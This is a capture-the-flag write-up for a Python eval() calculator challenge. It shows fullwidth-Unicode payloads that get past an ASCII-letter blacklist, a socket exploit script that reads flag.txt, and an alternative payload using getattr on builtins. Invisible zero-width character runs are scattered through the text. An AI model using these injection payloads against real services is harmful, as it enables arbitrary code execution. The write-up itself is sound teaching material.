Безопасный калькулятор

Platform: hackerlab | Category: Misc | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2025-12-25 | Status: Solved Techniques: blacklist_bypass, fullwidth_unicode, python_eval_injection, unicode_normalization_bypass

Summary

Task: Python calculator service using eval() with ASCII letter blacklist. Solution: Bypass the filter using Unicode fullwidth letters which Python normalizes to regular ASCII identifiers.

Безопасный калькулятор — hackerlab

Description

"Я вроде пофиксил уязвимости, что были в прошлой версии калькулятора..."

A Python calculator service that uses eval() for computations but blocks all ASCII letters (a-z, A-Z) as a security measure.

Analysis

Vulnerability

The blacklist only checks ASCII letters, but Python accepts Unicode fullwidth letters as valid identifiers. Fullwidth letters (U+FF41-U+FF5A for a-z, U+FF21-U+FF3A for A-Z) look visually similar but have different Unicode codepoints. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Why This Works

Python 3 supports Unicode identifiers. When parsing code, Python normalizes Unicode characters, so:

• ｏｐｅｎ (fullwidth) is interpreted as open
• ｃｈｒ (fullwidth) is interpreted as chr
• ｒｅａｄ (fullwidth) is interpreted as read

Bypass Technique

1. Convert function names (open, chr, read) to fullwidth Unicode equivalents
2. Use chr() to build the filename string without ASCII letters

Solution

Payload

 python read-only • copy allowed Copy
ｏｐｅｎ(ｃｈｒ(102)+ｃｈｒ(108)+ｃｈｒ(97)+ｃｈｒ(103)+ｃｈｒ(46)+ｃｈｒ(116)+ｃｈｒ(120)+ｃｈｒ(116)).ｒｅａｄ()
# Equivalent: open("flag.txt").read()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploit

 python read-only • copy allowed Copy
#!/usr/bin/env python3
import socket

def to_fullwidth(s):
    """Converts ASCII letters to fullwidth Unicode"""
    result = ''
    for c in s:
        if 'a' <= c <= 'z':
            result += chr(ord(c) - ord('a') + 0xFF41)
        elif 'A' <= c <= 'Z':
            result += chr(ord(c) - ord('A') + 0xFF21)
        else:
            result += c
    return result

def str_to_chr(s):
    """Converts string to chr() calls with fullwidth function name"""
    return '+'.join([to_fullwidth('chr') + '(' + str(ord(c)) + ')' for c in s])
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Connect to service
s = socket.socket()
s.connect(('192.169.2.100', 10001))
s.recv(4096)  # Get banner

# Build payload
filename = str_to_chr('flag.txt')  # ｃｈｒ(102)+ｃｈｒ(108)+...
payload = to_fullwidth('open') + '(' + filename + ').' + to_fullwidth('read') + '()'

# Send and get flag
s.send(payload.encode('utf-8') + b'\n')
print(s.recv(4096).decode())

Alternative Payload (via builtins)

 python read-only • copy allowed Copy
# If open is blocked, you can use:
ｇｅｔａｔｔｒ(ｇｅｔａｔｔｒ(__ｂｕｉｌｔｉｎｓ__,ｃｈｒ(111)+ｃｈｒ(112)+ｃｈｒ(101)+ｃｈｒ(110))(ｃｈｒ(102)+ｃｈｒ(108)+ｃｈｒ(97)+ｃｈｒ(103)+ｃｈｒ(46)+ｃｈｒ(116)+ｃｈｒ(120)+ｃｈｒ(116)),ｃｈｒ(114)+ｃｈｒ(101)+ｃｈｒ(97)+ｃｈｒ(100))()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Unicode Fullwidth Reference

Related Techniques

• Unicode Normalization Attack — using different Unicode representations of the same character
• Homoglyph Attack — visually similar characters from different alphabets
• Python eval() injection — executing arbitrary code via eval() ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍